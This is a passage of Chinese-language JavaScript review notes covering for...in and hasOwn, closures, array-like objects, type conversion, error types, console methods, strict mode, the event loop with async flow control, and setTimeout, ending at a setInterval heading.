**注意**：它不能识别哪些属性是对象自身的，哪些属性是继承的，可以使用对象的 `hasOwnProperty` 方法判断是否为对象自身的属性

`for...in` 循环用来遍历一个对象的全部属性，它遍历的是对象所有 **可遍历**（enumerable）的属性，会跳过不可遍历的属性，**它不仅遍历对象自身的属性，还遍历继承的属性**。

```js
const proto = { p: 1 };
Object.defineProperty(proto, 'hidden', { value: 2, enumerable: false });

const obj = Object.create(proto);
obj.a = 10;

for (const k in obj) console.log(k);
// a
// p   ← 原型上的、且 enumerable: true 的也出来了
// hidden 不会出来（因为 enumerable: false）
```

用 `for...in`，但过滤自有属性

```js
for (const k in obj) {
  if (Object.hasOwn(obj, k)) {
    // 只处理自有属性
  }
}
```

`Object.hasOwn(obj, prop)` （推荐） ES2022 新增的静态方法，**不走原型链方法调用**，更稳，不会被对象里同名属性“覆盖/污染”

`obj.hasOwnProperty(prop)`（老方法）是从 `Object.prototype` 继承来的方法，**可能会被覆盖**，导致报错或结果不可靠：

```js
const obj = { hasOwnProperty: 123, x: 1 };
obj.hasOwnProperty("x"); // TypeError: obj.hasOwnProperty is not a function
```

所以更稳的老写法是：

```js
Object.prototype.hasOwnProperty.call(obj, "x")
```

## 函数

声明函数的方式可以是 `Function` 构造函数

```js
var add = new Function(
  'x',
  'y',
  'return x + y'
);

// 等同于
function add(x, y) {
  return x + y;
}
```

可以传递任意数量的参数给 `Function` 构造函数，只有最后一个参数会被当做函数体，如果只有一个参数，该参数就是函数体。

JS 在执行代码前会先做一轮“创建阶段”（建立作用域里的绑定），这轮里不光有变量绑定（`var`），还有 **函数声明绑定**，所以就出现了“**函数提升**”。

```js
foo(); // 能调用
function foo() {
  console.log("hi");
}
```

原因：`function foo(){}` 这种 **函数声明** 在创建阶段就把 `foo` 绑定好了，绑定的值就是函数本体。

但是函数表达式不会像上面那样提升

```js
bar(); // TypeError: bar is not a function
var bar = function () {};
```

`var bar` 这个“变量名”会提升（初始值是 `undefined`），但 `= function(){}` 这个赋值不会提升到前面执行，所以调用时 `bar` 还是 `undefined`。

**箭头函数本身没有“函数声明提升”**，因为箭头函数几乎总是以 **函数表达式** 的形式出现（赋值给变量/属性），而不是 `function foo(){}` 那种“函数声明”。

函数的 `name` 属性返回函数的名字，函数的 `length` 属性返回函数预期传入的参数个数，即函数定义之中的参数个数，函数的 `toString()` 方法返回一个字符串，内容是函数的源码。

对于原生的函数，`toString()` 方法返回 `function (){[native code]}`。

***

由于 JavaScript 允许函数有不定数目的参数，所以需要一种机制，可以在函数体内部读取所有参数，这就是 `arguments` 对象的由来，`arguments` 对象包含了函数运行时的所有参数，`arguments[0]` 就是第一个参数，以此类推，这个对象只有在函数体内部，才可以使用

**注意**：虽然 `arguments` 很像数组，但它是一个对象。数组专有的方法（比如 `slice` 和 `forEach`），不能在 `arguments` 对象上直接使用。

可以将 `arguments ` 转为真正的数组：

```js
const args = Array.prototype.slice.call(arguments);
```

`arguments` 对象带有一个 `callee` 属性，返回它所对应的原函数，可以通过 `arguments.callee`，达到调用函数自身的目的，但这个属性在严格模式里面是禁用的，因此不建议使用。

### 闭包

```js
function f1() {
  var n = 999;
  function f2() {
    console.log(n);
  }
  return f2;
}

var result = f1();
result(); // 999
```

可以把闭包简单理解成“**定义在一个函数内部的函数**”，

闭包最大的特点，就是它可以“记住”诞生的环境，比如 `f2` 记住了它诞生的环境 `f1`，所以从 `f2` 可以得到 `f1` 的内部变量，在本质上，闭包就是将函数内部和函数外部连接起来的一座桥梁。

闭包的最大用处有两个，**一个是可以读取外层函数内部的变量，另一个就是让这些变量始终保持在内存中**，即闭包可以使得它诞生环境一直存在。

闭包使得内部变量记住上一次调用时的运算结果：

```js
function createIncrementor(start) {
  return function () {
    return start++;
  };
}

var inc = createIncrementor(5);

inc() // 5
inc() // 6
inc() // 7
```

`start` 是函数 `createIncrementor` 的内部变量。通过闭包，`start` 的状态被保留了，每一次调用都是在上一次调用的基础上进行计算，从中可以看到，闭包 `inc` 使得函数 `createIncrementor` 的内部环境，一直存在，所以，**闭包可以看作是函数内部作用域的一个接口**。

闭包能够返回外层函数的内部变量，原因是闭包（上例的 `inc`）用到了外层变量（`start`），导致外层函数（`createIncrementor`）不能从内存释放。

只要闭包没有被垃圾回收机制清除，外层函数提供的运行环境也不会被清除，它的内部变量就始终保存着当前值，供闭包读取。

**注意**：外层函数每次运行，都会生成一个新的闭包，而这个闭包又会保留外层函数的内部变量，所以内存消耗很大，因此不能滥用闭包，否则会造成网页的性能问题。

**闭包用完需要进行释放**，核心原则就是 **让引用链断掉：不再有任何变量/数据结构指向那个闭包函数对象**，这样它捕获的那套环境也就变成“不可达”，GC 才能回收。

最常见做法，是把持有它的引用置空，比如 `inc = null;`，这会让闭包函数对象不可达（前提：**没有别的地方也引用它**），它携带的环境（`start`）也会随之可回收（GC 何时回收不确定，但条件满足了）。

## 数组

本质上，数组属于一种特殊的对象，`typeof` 运算符会返回数组的类型是 `object`。

清空数组的一个有效方法，就是将 `length` 属性设为 0

`for...in` 在遍历数组的时候 **不仅会遍历数组所有的数字键，还会遍历非数字键**。

```js
var a = [1, 2, 3];
a.foo = true;

for (var key in a) {
  console.log(key);
}
// 0
// 1
// 2
// foo
```

如果一个对象的所有键名都是正整数或零，并且有 `length` 属性，那么这个对象就很像数组，语法上称为“**类似数组的对象**”（array-like object）。

```js
var obj = {
  0: 'a',
  1: 'b',
  2: 'c',
  length: 3
};

obj[0] // 'a'
obj[1] // 'b'
obj.length // 3
obj.push('d') // TypeError: obj.push is not a function
```

典型的“类似数组的对象”是函数的 `arguments` 对象，以及大多数 DOM 元素集，还有字符串。

```js
// arguments 对象
function args() { return arguments }
var arrayLike = args('a', 'b');

arrayLike[0] // 'a'
arrayLike.length // 2
arrayLike instanceof Array // false

// DOM 元素集
var elts = document.getElementsByTagName('h3');
elts.length // 3
elts instanceof Array // false

// 字符串
'abc'[1] // 'b'
'abc'.length // 3
'abc' instanceof Array // false
```

数组的 `slice` 方法可以将“类似数组的对象”变成真正的数组

```js
var arr = Array.prototype.slice.call(arrayLike);
```

“类似数组的对象”还有一个办法可以使用数组的方法，就是通过 `call()` 把数组的方法放到对象上面

```js
const arrayLike = {
    0: 'Tony',
    1: 'Jeney',
    2: 'Katy',
    length: '3'
}

Array.prototype.forEach.call(arrayLike, ((item, index) => {
    console.log(item + " ~ " + index);
}));
/*
Tony ~ 0
Jeney ~ 1
Katy ~ 2
*/
```

字符串也是类似数组的对象，所以也可以用 `Array.prototype.forEach.call` 遍历。

```js
Array.prototype.forEach.call('abc', ((item,index) => {
    console.log(item + " ~ " + index);
}))
/*
a ~ 0
b ~ 1
c ~ 2
*/
```

**注意**：这种方法比直接使用数组原生的 `forEach` 要慢，所以最好还是先将“类似数组的对象”转为真正的数组，然后再直接调用数组的 `forEach` 方法

```js
var arr = Array.prototype.slice.call('abc');
arr.forEach(function (chr) {
  console.log(chr);
});
// a
// b
// c
```

## 运算

如果运算的是对象，必须先转成原始类型的值，然后再相加

```js
var obj = { p: 1 };
obj + 2 // "[object Object] 2"
```

对象 `obj` 转成原始类型的值是 `[object Object]`

对象转成原始类型的值会自动调用对象的 `valueOf` 方法，对象的 `valueOf` 方法总是返回对象自身，这时再自动调用对象的 `toString` 方法，而对象的 `toString` 方法默认返回 `[object Object]`

```js
obj.valueOf().toString() // "[object Object]"
```

***

字符串按照字典顺序进行比较，`'cat' > 'dog' // false`，JavaScript 引擎内部首先比较首字符的 Unicode 码点，如果相等，再比较第二个字符的 Unicode 码点，以此类推，所以：**如果两个操作数最终都是字符串** → **按字符编码逐个比较**

**两个对象** 用 `==` 比的是“是不是同一个引用”，不是比它们转字符串/转数字后的内容

**严格相等** 对于原始类型（primitive）是比“值”，原始类型：`number / string / boolean / bigint / symbol / null / undefined`

引用类型（object，包括数组、函数、普通对象、Date、Map、Set…）是比“引用身份”（**是不是同一个对象**）

```js
({a:1}) === ({a:1}) // false  （长得一样，但不是同一个对象）
[] === []           // false
(function(){}) === (function(){}) // false

const x = {a:1};
const y = x;
x === y             // true   （同一个引用）
```

***

JS 虽然数值内部是 64 位浮点数，但 **做位运算时会把操作数转成“32 位带符号整数”再算**，结果也会是 32 位带符号整数。

**JS 的“数值存储”是 IEEE-754 double（64 位）, 但** 位运算 **时，JS 会临时把数值** 强制转换成 32 位整数 **再计算，存的是 64 位，算的时候进了 32 位小黑屋。**

变成 32 位是因为 **ECMAScript 规范明确规定**：所有位运算符，在运算前都会对操作数执行 `ToInt32`（或 `ToUint32`）转换，这是一个 **历史包袱 + 性能折中** 的问题。

如果真的需要 64 位位运算，可以使用 BigInt（现代、正确）

但是，**只在位运算那一挂**（以及少数“借用位运算做技巧”的写法）才会强制进 **32 位 int**，`/ * % + -` 这些 **普通算术运算**，全程都在 **IEEE-754 double（64 位浮点）** 里算，不会自动“缩水成 32 位”。

[二进制位运算符](https://wangdoc.com/javascript/operators/bit)

## 转换

`Number` 函数将字符串转为数值，要比 `parseInt` 函数严格很多，基本上，只要有一个字符无法转成数值，整个字符串就会被转为 `NaN`。

`String` 函数可以将任意类型的值转化成字符串，参数如果是对象，返回一个类型字符串 `"[object Object]"`，如果是数组，返回该数组的字符串形式。

`String` 方法背后的转换规则，与 `Number` 方法基本相同，只是互换了 `valueOf` 方法和 `toString` 方法的执行顺序。

`Boolean()` 函数可以将任意类型的值转为布尔值。

## 错误

JavaScript 解析或运行时，一旦发生错误，引擎就会抛出一个错误对象。

JavaScript 原生提供 `Error` 构造函数，所有抛出的错误都是这个构造函数的实例。

```js
var err = new Error('出错了');
err.message // "出错了"
```

生成一个实例对象 `err`。`Error()` 构造函数接受一个参数，表示错误提示

抛出（throw）`Error` 实例对象以后，整个程序就中断在发生错误的地方，不再往下执行。

语言标准提到 `Error` 实例对象必须有 `message` 属性，大多数 JavaScript 引擎，对 `Error` 实例还提供 `name` 和 `stack` 属性，分别表示错误的名称和错误的堆栈，但它们是非标准的，不是每种实现都有。

`Error` 实例对象是最一般的错误类型，在它的基础上，JavaScript 还定义了其他 6 种错误对象，也就是说，存在 `Error` 的 6 个派生对象。

`SyntaxError` 对象是解析代码时发生的语法错误

`ReferenceError` 对象是引用一个不存在的变量时发生的错误

`RangeError ` 对象是一个值超出有效范围时发生的错误，主要有几种情况，一是数组长度为负数，二是 `Number` 对象的方法参数超出范围，以及函数堆栈超过最大值。

`TypeError` 对象是变量或参数不是预期类型时发生的错误。

`URIError` 对象是 URI 相关函数的参数不正确时抛出的错误，主要涉及 `encodeURI()`、`decodeURI()`、`encodeURIComponent()`、`decodeURIComponent()`、`escape()` 和 `unescape()` 这六个函数。

`eval` 函数没有被正确执行时，会抛出 `EvalError` 错误。

除了 JavaScript 原生提供的七种错误对象，还可以定义自己的错误对象：

```js
function UserError(message) {
  this.message = message || '默认信息';
  this.name = 'UserError';
}

UserError.prototype = new Error();
UserError.prototype.constructor = UserError;

new UserError('这是自定义的错误！');
```

但这是“老派”自定义错误（函数构造器 + 手动挂原型），现在更推荐用 `class extends Error`

```js
class UserError extends Error {
  constructor(message = '默认信息', options) {
    super(message, options);     // message 会写到 this.message
    this.name = 'UserError';
  }
}

throw new UserError('参数不合法');
```

***

`throw` 语句的作用是手动中断程序执行，抛出一个错误，`throw` 抛出的错误就是它的参数，通常是一个 `Error` 对象的实例

`try...catch` 结构允许在最后添加一个 `finally` 代码块，表示不管是否出现错误，都必需在最后运行的语句。

```js
try {

} catch (error) {

} finally {

}
```

## console

`console` 支持格式占位符，方法将依次用后面的参数替换占位符，然后再进行输出。

```js
console.log(' %s + %s = %s', 1, 1, 2)
//  1 + 1 = 2
```

`console.log` 方法的第一个参数有三个占位符（`%s`），第二、三、四个参数会在显示时，依次替换掉这个三个占位符。

`console.log` 方法支持以下占位符，不同类型的数据必须使用对应的占位符。

* `%s` 字符串
* `%d` 整数
* `%i` 整数
* `%f` 浮点数
* `%o` 对象的链接
* `%c` CSS 格式字符串

使用 `%c` 占位符时，对应的参数必须是 CSS 代码，用来对输出内容进行 CSS 渲染。

```js
console.log(
  '%cThis text is styled!',
  'color: red; background: yellow; font-size: 24px;'
)
```

`%c` 可以区分区域，**靠“分段 + 多个 `%c`”来做的**，即 **每出现一次 `%c`，后面就要跟一个对应的 CSS 字符串参数**；样式会从那个 `%c` 开始作用到下一段文字（直到下一个 `%c` 改掉样式）。

```js
console.log('%c蓝色字体%c红色字体',' color: blue; font-size: 20px;','color: red; font-size: 16px;');
```

**小技巧**：

```js
const parts = [
  ['ERROR', 'color:red;font-weight:bold;'],
  [': ', ''],
  ['user not found', 'color:orange;'],
];

console.log(
  parts.map(() => '%c%s').join(''),
  ...parts.flatMap(([text, style]) => [style, text])
);
```

`console` 对象的所有方法，都可以被覆盖。因此，可以按照自己的需要，定义 `console.log` 方法。

```js
['log', 'info', 'warn', 'error'].forEach(function(method) {
  console[method] = console[method].bind(
    console,
    new Date().toISOString()
  );
});

console.log("出错了！");
// 2014-05-18T09:00.000Z 出错了！
```

对于某些复合类型的数据，`console.table` 方法可以将其转为表格显示。

```js
var languages = [
  { name: "JavaScript", fileExtension: ".js" },
  { name: "TypeScript", fileExtension: ".ts" },
  { name: "CoffeeScript", fileExtension: ".coffee" }
];

console.table(languages);
```

`count` 方法用于计数，输出它被调用了多少次，该方法可以接受一个字符串作为参数，作为标签，对执行次数进行分类。

`console.dir` 用来对一个对象进行检查（inspect），并以易于阅读和打印的格式显示。

```js
console.log({f1: 'foo', f2: 'bar'})
// Object {f1: "foo", f2: "bar"}

console.dir({f1: 'foo', f2: 'bar'})
// Object
//   f1: "foo"
//   f2: "bar"
//   __proto__: Object
```

该方法对于 DOM 输出，会显示 DOM 对象的所有属性：`console.dir(document.body)`

`console.dirxml ` 主要用于以目录树的形式，显示 DOM 节点，如果参数不是 DOM 节点，而是普通的 JavaScript 对象，`console.dirxml` 等同于 `console.dir`。

`console.assert` 方法主要用于程序运行过程中，进行条件判断，如果不满足条件，就显示一个错误，但不会中断程序执行。这样就相当于提示用户，内部状态不正确。

它接受两个参数，第一个参数是表达式，第二个参数是字符串。只有当第一个参数为 `false`，才会提示有错误，在控制台输出第二个参数，否则不会有任何结果。

```js
console.assert(false, '判断条件不成立')
// Assertion failed: 判断条件不成立

// 相当于
try {
  if (!false) {
    throw new Error('判断条件不成立');
  }
} catch(e) {
  console.error(e);
}
```

`console.time()`，`console.timeEnd()` 这两个方法用于计时，可以算出一个操作所花费的准确时间。

```js
console.time('Array initialize');

var array= new Array(1000000);
for (var i = array.length - 1; i >= 0; i--) {
  array[i] = new Object();
};

console.timeEnd('Array initialize');
// Array initialize: 1914.481ms
```

`time` 方法表示计时开始，`timeEnd` 方法表示计时结束，它们的参数是计时器的名称，调用 `timeEnd` 方法之后，控制台会显示“计时器名称: 所耗费的时间”。

`console.group` 和 `console.groupEnd` 这两个方法用于将显示的信息分组。它只在输出大量信息时有用，分在一组的信息，可以用鼠标折叠/展开。

```js
console.group('一级分组');
console.log('一级分组的内容');

console.group('二级分组');
console.log('二级分组的内容');

console.groupEnd(); // 二级分组结束
console.groupEnd(); // 一级分组结束
```

`console.groupCollapsed`方法与`console.group`方法很类似，唯一的区别是该组的内容，在第一次显示时是收起的（collapsed），而不是展开的。

`console.trace`方法显示当前执行的代码在堆栈中的调用路径。

`console.clear`方法用于清除当前控制台的所有输出，将光标回置到第一行。如果用户选中了控制台的“Preserve log”选项，`console.clear`方法将不起作用。

---

---
url: /skill/9u7lptb5/index.md
---
# JS 回顾 5
## 严格模式

JavaScript 除了正常模式（sloppy mode），还有一种更严格的运行模式：

* **正常模式**：兼容旧代码，允许很多“怪异行为”
* **严格模式**：禁止不安全语法，让错误更早暴露

同一段代码在两种模式下，可能会出现不同结果。

### 设计目的

严格模式在 ES5 正式进入标准，主要目的：

* **禁止不合理语法**，减少怪异行为
* **更多场景直接报错**，避免 silent failure（静默失败）
* **提升引擎优化能力**，运行更快
* **为未来语法铺路**（比如 class、模块化等）

一句话：让 JS 更安全、更可预测。

### 启用严格模式

严格模式通过一条指令开启：

```js
'use strict';
```

旧引擎会忽略它，新引擎会进入严格模式。

#### 整个脚本启用

```js
'use strict';
// 整个文件都严格
```

必须出现在脚本开头，否则无效。

#### 单个函数启用

```js
function foo() {
  'use strict';
  // 仅函数内部严格
}
```

#### 模块默认严格

ES6 Module 中：

```js
// 自动严格模式，无需写 use strict
export const x = 1;
```

### 显式报错

严格模式最大特点：**以前“悄悄失败”的操作，现在直接报错**。

#### 只读属性不可写

```js
'use strict';
'abc'.length = 10; // TypeError
```

对不可写属性赋值会报错。

#### 只有 getter 的属性不可写

访问器属性如果只有 `get`，没有 `set`，它就是只读的：

```js
'use strict';
const obj = {};
Object.defineProperty(obj, 'x', {
  get() { return 1; }
});

obj.x = 2; // TypeError
```

原因：访问器属性没有默认存储槽位，缺少 setter 就无法写。

#### 禁止扩展对象不可新增属性

```js
'use strict';
const obj = Object.preventExtensions({});
obj.a = 1; // TypeError
```

#### eval / arguments 不能当变量名

```js
'use strict';
let eval = 1; // SyntaxError
```

#### 函数参数禁止重名

```js
'use strict';
function f(a, a) {} // SyntaxError
```

#### 禁止八进制前缀 0

```js
'use strict';
010; // SyntaxError
```

现代写法：

```js
0o10; // 八进制
```

### 增强的安全措施

#### 禁止隐式全局变量

```js
'use strict';
x = 10; // ReferenceError
```

必须显式声明：

```js
let x = 10;
```

#### this 不再默认指向全局对象

```js
'use strict';
function f() {
  console.log(this);
}
f(); // undefined
```

避免误写全局变量。

构造函数忘记 `new` 时尤其重要：

```js
'use strict';
function Person() {
  this.name = 'Tom';
}
Person(); // TypeError
```

#### 禁止访问 caller / callee

```js
'use strict';
function f() {
  console.log(arguments.callee);
}
// TypeError
```

调用栈相关属性被禁用。

#### 禁止 delete 变量

```js
'use strict';
let x = 1;
delete x; // SyntaxError
```

只能 delete 可配置对象属性。

### 静态绑定限制

严格模式减少动态语义，使代码更容易优化。

#### 禁止 with

```js
'use strict';
with(obj) {} // SyntaxError
```

原因：with 会让作用域解析变得不可预测。

#### eval 的隔离作用域

严格模式不是“新增第三种作用域”，而是：严格模式下直接 eval 不再污染外层作用域。

非严格：变量泄漏

```js
function f() {
  eval('var x = 1');
  console.log(x); // 1
}
```

严格：变量隔离

```js
function f() {
  'use strict';
  eval('var x = 1');
  console.log(typeof x); // undefined
}
```

#### arguments 不再与参数联动

非严格模式：

```js
function f(a) {
  arguments[0] = 10;
  console.log(a); // 10
}
```

严格模式切断映射：

```js
'use strict';
function f(a) {
  arguments[0] = 10;
  console.log(a); // 1
}
```

**严格模式下当然还能用 `arguments`，只是它“变得没那么魔法了”**。

现代开发推荐用 `rest` 参数替代。

## 异步操作

### 单线程模型

单线程模型指的是，JavaScript 只在一个线程上运行，也就是说，JavaScript 同时只能执行一个任务，其他任务都必须在后面排队等待。

**注意**：JavaScript 只在一个线程上运行，不代表 JavaScript 引擎只有一个线程，事实上，JavaScript 引擎有多个线程，单个脚本只能在一个线程上运行（称为主线程），其他线程都是在后台配合。

JavaScript 之所以采用单线程，而不是多线程，跟历史有关系。JavaScript 从诞生起就是单线程，原因是不想让浏览器变得太复杂，因为多线程需要共享资源，且有可能修改彼此的运行结果，对于一种网页脚本语言来说，这就太复杂了。

如果 JavaScript 同时有两个线程，一个线程在网页 DOM 节点上添加内容，另一个线程删除了这个节点，这时浏览器应该以哪个线程为准？是不是还要有锁机制？所以，为了避免复杂性，JavaScript 一开始就是单线程，这已经成了这门语言的核心特征，将来也不会改变。

这种模式的好处是实现起来比较简单，执行环境相对单纯；坏处是只要有一个任务耗时很长，后面的任务都必须排队等着，会拖延整个程序的执行。常见的浏览器无响应（假死），往往就是因为某一段 JavaScript 代码长时间运行（比如死循环），导致整个页面卡在这个地方，其他任务无法执行。JavaScript 语言本身并不慢，慢的是读写外部数据，比如等待 Ajax 请求返回结果。这个时候，如果对方服务器迟迟没有响应，或者网络不通畅，就会导致脚本的长时间停滞。

如果排队是因为计算量大，CPU 忙不过来，倒也算了，但是很多时候 CPU 是闲着的，因为 IO 操作（输入输出）很慢（比如 Ajax 操作从网络读取数据），不得不等着结果出来，再往下执行。JavaScript 语言的设计者意识到，这时 CPU 完全可以不管 IO 操作，挂起处于等待中的任务，先运行排在后面的任务。等到 IO 操作返回了结果，再回过头，把挂起的任务继续执行下去。这种机制就是 JavaScript 内部采用的“事件循环”机制（Event Loop）。

单线程模型虽然对 JavaScript 构成了很大的限制，但也因此使它具备了其他语言不具备的优势。如果用得好，JavaScript 程序是不会出现堵塞的，这就是 Node.js 可以用很少的资源，应付大流量访问的原因。

为了利用多核 CPU 的计算能力，HTML5 提出 Web Worker 标准，允许 JavaScript 脚本创建多个线程，但是子线程完全受主线程控制，且不得操作 DOM。所以，这个新标准并没有改变 JavaScript 单线程的本质。

### 同步任务和异步任务

程序里面所有的任务，可以分成两类：同步任务（synchronous）和异步任务（asynchronous）。

同步任务是那些没有被引擎挂起，在主线程上排队执行的任务，只有前一个任务执行完毕，才能执行后一个任务。

异步任务是那些被引擎放在一边，不进入主线程，而进入任务队列的任务。只有引擎认为某个异步任务可以执行了（比如 Ajax 操作从服务器得到了结果），该任务（采用回调函数的形式）才会进入主线程执行。排在异步任务后面的代码，不用等待异步任务结束会马上运行，也就是说，异步任务不具有“堵塞”效应。

举例来说，Ajax 操作可以当作同步任务处理，也可以当作异步任务处理，由开发者决定。如果是同步任务，主线程就等着 Ajax 操作返回结果，再往下执行；如果是异步任务，主线程在发出 Ajax 请求以后，就直接往下执行，等到 Ajax 操作有了结果，主线程再执行对应的回调函数。

### 任务队列和事件循环

JavaScript 运行时，除了一个正在运行的主线程，引擎还提供一个任务队列（task queue），里面是各种需要当前程序处理的异步任务。（实际上，根据异步任务的类型，存在多个任务队列）

首先，主线程会去执行所有的同步任务。等到同步任务全部执行完，就会去看任务队列里面的异步任务。如果满足条件，那么异步任务就重新进入主线程开始执行，这时它就变成同步任务了。等到执行完，下一个异步任务再进入主线程开始执行。一旦任务队列清空，程序就结束执行。

异步任务的写法通常是回调函数。一旦异步任务重新进入主线程，就会执行对应的回调函数。如果一个异步任务没有回调函数，就不会进入任务队列，也就是说，不会重新进入主线程，因为没有用回调函数指定下一步的操作。

JavaScript 引擎怎么知道异步任务有没有结果，能不能进入主线程呢？答案就是引擎在不停地检查，一遍又一遍，只要同步任务执行完了，引擎就会去检查那些挂起来的异步任务，是不是可以进入主线程了。这种循环检查的机制，就叫做事件循环（Event Loop）。

### 异步操作的模式

异步操作的几种模式

#### 回调函数

回调函数是异步操作最基本的方法。

下面是两个函数 `f1` 和 `f2`，编程的意图是 `f2` 必须等到 `f1` 执行完成，才能执行。

```js
function f1() {
  // ...
}

function f2() {
  // ...
}

f1();
f2();
```

上面代码的问题在于，如果 `f1` 是异步操作，`f2` 会立即执行，不会等到 `f1` 结束再执行。

这时，可以考虑改写 `f1`，把 `f2` 写成 `f1` 的回调函数。

```js
function f1(callback) {
  // ...
  callback();
}

function f2() {
  // ...
}

f1(f2);
```

回调函数的优点是简单、容易理解和实现，缺点是不利于代码的阅读和维护，各个部分之间高度 [耦合](http://en.wikipedia.org/wiki/Coupling_\(computer_programming\))（coupling），使得程序结构混乱、流程难以追踪（尤其是多个回调函数嵌套的情况），而且每个任务只能指定一个回调函数。

#### 事件监听

另一种思路是采用事件驱动模式。异步任务的执行不取决于代码的顺序，而取决于某个事件是否发生。

还是以 `f1` 和 `f2` 为例。首先，为 `f1` 绑定一个事件（这里采用的 jQuery 的 [写法](http://api.jquery.com/on/)）。

```js
f1.on('done', f2);
```

上面这行代码的意思是，当 `f1` 发生 `done` 事件，就执行 `f2`，然后，对 `f1` 进行改写：

```js
function f1() {
  setTimeout(function () {
    // ...
    f1.trigger('done');
  }, 1000);
}
```

上面代码中，`f1.trigger('done')` 表示，执行完成后，立即触发 `done` 事件，从而开始执行 `f2`。

这种方法的优点是比较容易理解，可以绑定多个事件，每个事件可以指定多个回调函数，而且可以“[去耦合](http://en.wikipedia.org/wiki/Decoupling)”（decoupling），有利于实现模块化。缺点是整个程序都要变成事件驱动型，运行流程会变得很不清晰。阅读代码的时候，很难看出主流程。

#### 发布/订阅

事件完全可以理解成“信号”，如果存在一个“信号中心”，某个任务执行完成，就向信号中心“发布”（publish）一个信号，其他任务可以向信号中心“订阅”（subscribe）这个信号，从而知道什么时候自己可以开始执行。这就叫做”[发布/订阅模式](http://en.wikipedia.org/wiki/Publish-subscribe_pattern)”（publish-subscribe pattern），又称“[观察者模式](http://en.wikipedia.org/wiki/Observer_pattern)”（observer pattern）。

这个模式有多种 [实现](http://msdn.microsoft.com/en-us/magazine/hh201955.aspx)，下面采用的是 Ben Alman 的 [Tiny Pub/Sub](https://gist.github.com/661855)，这是 jQuery 的一个插件。

首先，`f2` 向信号中心 `jQuery` 订阅 `done` 信号。

```js
jQuery.subscribe('done', f2);
```

然后，`f1` 进行如下改写。

```js
function f1() {
  setTimeout(function () {
    // ...
    jQuery.publish('done');
  }, 1000);
}
```

上面代码中，`jQuery.publish('done')` 的意思是，`f1` 执行完成后，向信号中心 `jQuery` 发布 `done` 信号，从而引发 `f2` 的执行。

`f2` 完成执行后，可以取消订阅（unsubscribe）。

```js
jQuery.unsubscribe('done', f2);
```

这种方法的性质与“事件监听”类似，但是明显优于后者。因为可以通过查看“消息中心”，了解存在多少信号、每个信号有多少订阅者，从而监控程序的运行。

### 异步操作的流程控制

如果有多个异步操作，就存在一个流程控制的问题：如何确定异步操作执行的顺序，以及如何保证遵守这种顺序。

```js
function async(arg, callback) {
  console.log('参数为 ' + arg +' , 1秒后返回结果');
  setTimeout(function () { callback(arg * 2); }, 1000);
}
```

上面代码的 `async` 函数是一个异步任务，非常耗时，每次执行需要 1 秒才能完成，然后再调用回调函数。

如果有六个这样的异步任务，需要全部完成后，才能执行最后的 `final` 函数。请问应该如何安排操作流程？

```js
function final(value) {
  console.log('完成: ', value);
}

async(1, function (value) {
  async(2, function (value) {
    async(3, function (value) {
      async(4, function (value) {
        async(5, function (value) {
          async(6, final);
        });
      });
    });
  });
});
// 参数为 1 , 1 秒后返回结果
// 参数为 2 , 1 秒后返回结果
// 参数为 3 , 1 秒后返回结果
// 参数为 4 , 1 秒后返回结果
// 参数为 5 , 1 秒后返回结果
// 参数为 6 , 1 秒后返回结果
// 完成:  12
```

上面代码中，六个回调函数的嵌套，不仅写起来麻烦，容易出错，而且难以维护。

#### 串行执行

可以编写一个流程控制函数，让它来控制异步任务，一个任务完成以后，再执行另一个。这就叫串行执行。

```js
var items = [ 1, 2, 3, 4, 5, 6 ];
var results = [];

function async(arg, callback) {
  console.log('参数为 ' + arg +' , 1秒后返回结果');
  setTimeout(function () { callback(arg * 2); }, 1000);
}

function final(value) {
  console.log('完成: ', value);
}

function series(item) {
  if(item) {
    async( item, function(result) {
      results.push(result);
      return series(items.shift());
    });
  } else {
    return final(results[results.length - 1]);
  }
}

series(items.shift());
```

上面代码中，函数 `series` 就是串行函数，它会依次执行异步任务，所有任务都完成后，才会执行 `final` 函数。`items` 数组保存每一个异步任务的参数，`results` 数组保存每一个异步任务的运行结果。

注意，上面的写法需要六秒，才能完成整个脚本。

#### 并行执行

流程控制函数也可以是并行执行，即所有异步任务同时执行，等到全部完成以后，才执行 `final` 函数。

```js
var items = [ 1, 2, 3, 4, 5, 6 ];
var results = [];

function async(arg, callback) {
  console.log('参数为 ' + arg +' , 1秒后返回结果');
  setTimeout(function () { callback(arg * 2); }, 1000);
}

function final(value) {
  console.log('完成: ', value);
}

items.forEach(function(item) {
  async(item, function(result){
    results.push(result);
    if(results.length === items.length) {
      final(results[results.length - 1]);
    }
  })
});
```

上面代码中，`forEach` 方法会同时发起六个异步任务，等到它们全部完成以后，才会执行 `final` 函数。

相比而言，上面的写法只要一秒，就能完成整个脚本。这就是说，并行执行的效率较高，比起串行执行一次只能执行一个任务，较为节约时间。但是问题在于如果并行的任务较多，很容易耗尽系统资源，拖慢运行速度。因此有了第三种流程控制方式。

#### 并行与串行的结合

所谓并行与串行的结合，就是设置一个门槛，每次最多只能并行执行 `n` 个异步任务，这样就避免了过分占用系统资源。

```js
var items = [ 1, 2, 3, 4, 5, 6 ];
var results = [];
var running = 0;
var limit = 2;

function async(arg, callback) {
  console.log('参数为 ' + arg +' , 1秒后返回结果');
  setTimeout(function () { callback(arg * 2); }, 1000);
}

function final(value) {
  console.log('完成: ', value);
}

function launcher() {
  while(running < limit && items.length > 0) {
    var item = items.shift();
    async(item, function(result) {
      results.push(result);
      running--;
      if(items.length > 0) {
        launcher();
      } else if(running === 0) {
        final(results);
      }
    });
    running++;
  }
}

launcher();
```

上面代码中，最多只能同时运行两个异步任务。变量 `running` 记录当前正在运行的任务数，只要低于门槛值，就再启动一个新的任务，如果等于 `0`，就表示所有任务都执行完了，这时就执行 `final` 函数。

这段代码需要三秒完成整个脚本，处在串行执行和并行执行之间。通过调节 `limit` 变量，达到效率和资源的最佳平衡。

## 定时器

### setTimeout()

`setTimeout` 函数用来指定某个函数或某段代码，在多少毫秒之后执行，它返回一个整数，表示定时器的编号，以后可以用来取消这个定时器。

```js
var timerId = setTimeout(func|code, delay);
```

上面代码中，`setTimeout` 函数接受两个参数，第一个参数 `func|code` 是将要推迟执行的函数名或者一段代码，第二个参数 `delay` 是推迟执行的毫秒数。

```js
setTimeout('console.log(2)',1000);
```

如果推迟执行的是函数，就直接将函数名，作为 `setTimeout` 的参数，`setTimeout` 的第二个参数如果省略，则默认为 0。

除了前两个参数，`setTimeout` 还允许更多的参数。它们将依次传入推迟执行的函数（回调函数）。

还有一个需要注意的地方，如果回调函数是对象的方法，那么 `setTimeout` 使得方法内部的 `this` 关键字指向全局环境，而不是定义时所在的那个对象。

### setInterval()

